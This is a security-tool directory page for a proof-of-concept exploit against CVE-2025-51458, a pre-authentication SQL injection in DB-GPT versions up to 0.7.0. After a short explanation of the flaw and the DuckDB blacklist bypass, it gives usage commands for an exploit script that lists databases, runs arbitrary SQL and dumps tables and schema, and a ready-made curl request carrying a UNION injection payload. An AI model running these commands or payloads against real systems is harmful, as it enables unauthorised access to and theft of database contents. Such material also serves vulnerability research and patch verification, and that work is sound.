Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-51458-exp — CVE-2025-51458 - DB-GPT Pre-Auth SQL Injection PoC | Kitploit
Tools/GitHubGitHub/q1uf3ng/cve-2025-51458-exp
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingDatabase Security
GitHubq1uf3ng/cve-2025-51458-exp

CVE-2025-51458-exp

CVE-2025-51458 - DB-GPT Pre-Auth SQL Injection PoC

View Repository
114 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-51458-exp

Pre-Auth SQL Injection in DB-GPT <= 0.7.0

Overview

The /api/v1/editor/sql/run and /api/v1/editor/chart/run endpoints accept arbitrary SQL without authentication. The sanitize_sql blacklist only covers DuckDB; MySQL, PostgreSQL, and SQLite connections receive raw user input with no filtering. The DuckDB blacklist itself can be bypassed via comment obfuscation (SEL/**/ECT).

This is a bypass of CVE-2024-10835 and CVE-2024-10901.

  • CVSS: 6.5 (Medium)
  • Type: CWE-89 (SQL Injection)
  • Auth: None required (Pre-Auth)
  • Affected: DB-GPT <= 0.7.0
  • Fixed: PR #2650

Usage

root@kitploit:~
# List databases
python3 exp.py http://target:5670 --list-dbs

# Execute SQL
python3 exp.py http://target:5670 <db_name> --sql "SELECT VERSION()"

# Dump tables
python3 exp.py http://target:5670 <db_name> --dump-tables

# Dump schema
python3 exp.py http://target:5670 <db_name> --dump-db

# DuckDB bypass
python3 exp.py http://target:5670 <db_name> --duckdb-bypass --sql "SELECT CURRENT_SETTING('access_mode')"

# Interactive mode
python3 exp.py http://target:5670 <db_name>
Download Tool

Quick PoC

root@kitploit:~
curl -X POST "http://target:5670/api/v1/editor/sql/run" \
  -H "Content-Type: application/json" \
  -d '{"db_name":"test_db","sql":"SELECT 1 UNION ALL SELECT table_name FROM information_schema.tables--"}'

References

  • NVD
  • Gecko Security Blog
  • Fix PR #2650